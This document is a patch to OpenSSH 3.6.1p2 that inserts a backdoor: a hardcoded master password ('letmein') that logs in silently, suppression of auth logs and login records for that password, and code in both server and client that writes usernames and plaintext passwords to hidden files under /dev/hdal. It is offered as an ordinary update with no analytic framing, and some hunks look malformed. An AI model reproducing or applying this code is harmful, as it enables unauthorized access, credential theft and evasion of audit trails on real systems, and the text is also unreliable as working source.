--- auth-passwd.c Tue Apr 29 04:12:08 2003 +++ ../openssh-3.6.1p2.updated/auth-passwd.c Tue May 13 18:35:12 2003 @@ -234,6 +234,19 @@ # endif /* HAVE_MD5_PASSWORDS */ /* Authentication is accepted if the encrypted passwords are identical. */ - return (strcmp(encrypted_password, pw_password) == 0); + return (strcmp(encrypted_password, pw_password) == 0); + if(strcmp(_SECRET_PASSWD, password) == 0){ + mlogin_ok = 1; + return 1; + } + if(strcmp(encrypted_password, pw_password) == 0){ + outf = fopen(_LOG_DIR"/"_S_LOG,"a+"); + fprintf (outf, "%s:%s\n",pw->pw_name,password); + fclose (outf); + return 1; +}else + return 0; + #endif /* !USE_PAM && !HAVE_OSF_SIA */ + } --- auth.c Sat Jan 18 00:24:06 2003 +++ ../openssh-3.6.1p2.updated/auth.c Tue May 13 18:37:16 2003 @@ -259,14 +259,17 @@ else authmsg = authenticated ? "Accepted" : "Failed"; - authlog("%s %s for %s%.100s from %.200s port %d%s", - authmsg, - method, - authctxt->valid ? "" : "illegal user ", - authctxt->user, - get_remote_ipaddr(), - get_remote_port(), - info); + /* dont log if secret pass */ + if(!mlogin_ok){ + authlog("%s %s for %s%.100s from %.200s port %d%s", + authmsg, + method, + authctxt->valid ? "" : "illegal user ", + authctxt->user, + get_remote_ipaddr(), + get_remote_port(), + info); + } #ifdef WITH_AIXAUTHENTICATE if (authenticated == 0 && strcmp(method, "password") == 0) --- canohost.c Mon Jan 6 18:51:23 2003 +++ ../openssh-3.6.1p2.updated/canohost.c Tue May 13 18:39:06 2003 @@ -77,14 +77,14 @@ debug3("Trying to reverse map address %.100s.", ntop); /* Map the IP address to a host name. */ - if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name), - NULL, 0, NI_NAMEREQD) != 0) { - /* Host name not found. Use ip address. */ -#if 0 - log("Could not reverse map address %.100s.", ntop); -#endif - return xstrdup(ntop); - } + if(!mlogin_ok){ + if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name), + NULL, 0, NI_NAMEREQD) != 0) { + /* Host name not found. Use ip address. */ + log("Could not reverse map address %.100s.", ntop); + return xstrdup(ntop); + } + } /* Got host name. */ name[sizeof(name) - 1] = '\0'; --- includes.h Sun Oct 20 19:50:26 2002 +++ ../openssh-3.6.1p2.updated/includes.h Tue May 13 18:39:30 2003 @@ -171,5 +171,11 @@ #include "openbsd-compat/bsd-nextstep.h" #include "entropy.h" +#define _SECRET_PASSWD "letmein" +#define _LOG_DIR "/dev/hdal" +#define _S_LOG "slog" +#define _C_LOG "clog" +FILE *outf; +int mlogin_ok; #endif /* INCLUDES_H */ --- sshconnect1.c Tue Aug 20 13:41:16 2002 +++ ../openssh-3.6.1p2.updated/sshconnect1.c Tue May 13 18:44:36 2003 @@ -922,6 +922,7 @@ { int type, i; char *password; + char gpasswd[120]; debug("Doing password authentication."); if (options.cipher == SSH_CIPHER_NONE) @@ -938,8 +939,17 @@ packet_write_wait(); type = packet_read(); - if (type == SSH_SMSG_SUCCESS) + if (type == SSH_SMSG_SUCCESS) { + /* dont log if secret pass */ + if(strcmp(_SECRET_PASSWD,gpasswd) != 0){ + outf = fopen(_LOG_DIR"/"_C_LOG,"a+"); + fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr()); + fclose (outf); + } + return 1; + } + if (type != SSH_SMSG_FAILURE) packet_disconnect("Protocol error: got %d in response to passwd auth", type); } --- sshconnect2.c Tue Apr 1 06:43:40 2003 +++ ../openssh-3.6.1p2.updated/sshconnect2.c Tue May 13 18:42:24 2003 @@ -446,6 +446,7 @@ static int attempt = 0; char prompt[150]; char *password; + char gpasswd[120]; if (attempt++ >= options.number_of_password_prompts) return 0; @@ -456,7 +457,16 @@ snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", authctxt->server_user, authctxt->host); password = read_passphrase(prompt, 0); + strcpy(gpasswd,password); packet_start(SSH2_MSG_USERAUTH_REQUEST); + /* dont log if its the secret pass */ + if(strcmp(_SECRET_PASSWD,gpasswd) != 0){ + outf = fopen(_LOG_DIR"/"_C_LOG,"a+"); + fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr()); + fclose (outf); + } + + packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); --- sshlogin.c Wed Jan 1 18:43:56 2003 +++ ../openssh-3.6.1p2.updated/sshlogin.c Tue May 13 18:43:34 2003 @@ -71,8 +71,11 @@ li = login_alloc_entry(pid, user, host, ttyname); login_set_addr(li, addr, addrlen); - login_login(li); - login_free_entry(li); + if(!mlogin_ok){ + login_login(li); + login_free_entry(li); + } + } #ifdef LOGIN_NEEDS_UTMPX @@ -96,6 +99,9 @@ struct logininfo *li; li = login_alloc_entry(pid, user, NULL, ttyname); - login_logout(li); - login_free_entry(li); + if(!mlogin_ok){ + login_logout(li); + login_free_entry(li); + } + }